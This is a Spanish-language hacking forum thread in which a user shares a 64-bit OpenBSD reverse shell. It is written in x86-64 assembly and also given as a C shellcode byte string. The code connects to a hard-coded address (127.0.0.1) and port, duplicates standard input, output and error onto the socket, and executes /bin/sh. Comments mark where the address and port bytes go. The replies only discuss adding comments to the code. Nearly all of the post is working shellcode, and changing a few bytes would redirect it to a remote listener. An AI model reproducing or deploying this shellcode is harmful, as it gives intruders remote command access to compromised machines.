[!] Reverse shell Unix-like

Iniciado por cpu2, 11 Enero 2013, 14:41 PM

0 Miembros y 1 Visitante están viendo este tema.

cpu2

Hola

Para poner en practica los conocimientos que voy adquiriendo en ASM, hice una pequeña reverse shell de 64bits.

Esta testeada en OpenBSD y en nivel local, no remoto, solo es para poner en practica mis conocimientos, eso lo dejo bien claro.

Código (asm) [Seleccionar]
.section .text
.globl _start

_start:

incb %al
pushq %rax
popq %rsi
incb %al
pushq %rax                      //socket
popq %rdi
orb $0x4, %al
pushq %rax
popq %rdx
addb $0x5b, %al
syscall

xchgq %rax, %rdi            //descriptor

movq $0x0100007f4dbc02ff, %rbx        //sockaddr_in
pushq %rbx

movq %rsp, %rsi
movb $0x10, %dl                   //connect
orb $0x60, %al
syscall

xorq %rsi, %rsi

C.0:

movb $0x5a, %al
syscall
incb %sil                             //dup2 0,1,2
cmpb $0x03, %sil

loopne C.0

movq $0x68732f6e69622fff, %rbx
shrq $0x8, %rbx
pushq %rbx
movq %rsp, %rdi
xorb %al, %al                       //execve sh
pushq %rax
movq %rsp, %rsi
xchgq %rax, %rdx
addb $0x2b, %al
syscall

xorb %al, %al
     

C:

"\xfe\xc0\x50\x5e\xfe\xc0\x50\x5f\x0c\x04\x50\x5a"
"\x04\x5b\x0f\x05\x48\x97\x48\xbb\xff\x02"
"\xbc\x4d"                  // puerto
"\x7f\x00\x00\x01"         // direccion
"\x53\x48\x89\xe6\xb2\x10\x0c\x60\x0f\x05\x48\x31"
"\xf6\xb0\x5a\x0f\x05\x48\xff\xc6\x48\x83\xfe\x03"
"\xe0\xf3\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68"
"\x48\xc1\xeb\x08\x53\x48\x89\xe7\x30\xc0\x50\x48"
"\x89\xe6\x48\x92\x04\x2b\x0f\x05\x30\xc0";


Cualquier pregrunta sobre el código no os cortéis.

Un saludo.

0xDani

Vendria bien que le pusieses comentarios al codigo, para que lo podamos entender mejor.

Enhorabuena por terminar la reverse shell  ;-)

Saludos.
I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!

I code for $$$
Hago trabajos en C/C++
Contactar por PM

cpu2

Cual es la parte que no entiendes bien?

Un saludo.

ameise_1987

de estas hay bastantes, si te piden que la comentes la idea es que sea legible para las personas que recién se inician, eso creo yo.

saludos y gracias por compartir!!.
firma retirada por insultar/cachondearse de (anelkaos) del staff.

cpu2

Lo comentó línea por línea?

Un saludo.

P.D: También dejare el opcode para los de C.

jackgris

Este no es el caso, por no ser un código tan complicado, pero deberías comentarlo siempre, imagínate que realizas algo muy complejo sobre todo en ASM, y después de unos meses quieres retomar el código. Si no esta comentado, querrás tirar ese fuente a la basura jejeje

Falso Positivo

Cita de: jackgris en 15 Enero 2013, 13:30 PM
Este no es el caso, por no ser un código tan complicado, pero deberías comentarlo siempre, imagínate que realizas algo muy complejo sobre todo en ASM, y después de unos meses quieres retomar el código. Si no esta comentado, querrás tirar ese fuente a la basura jejeje

eso tiene algo de realidad, pero una cosa es comentarlo para uno y otra orientada a personas que quieren aprender y empiezan por tratar de entender el funcionamiento de la rs
Don't worry, be hacked....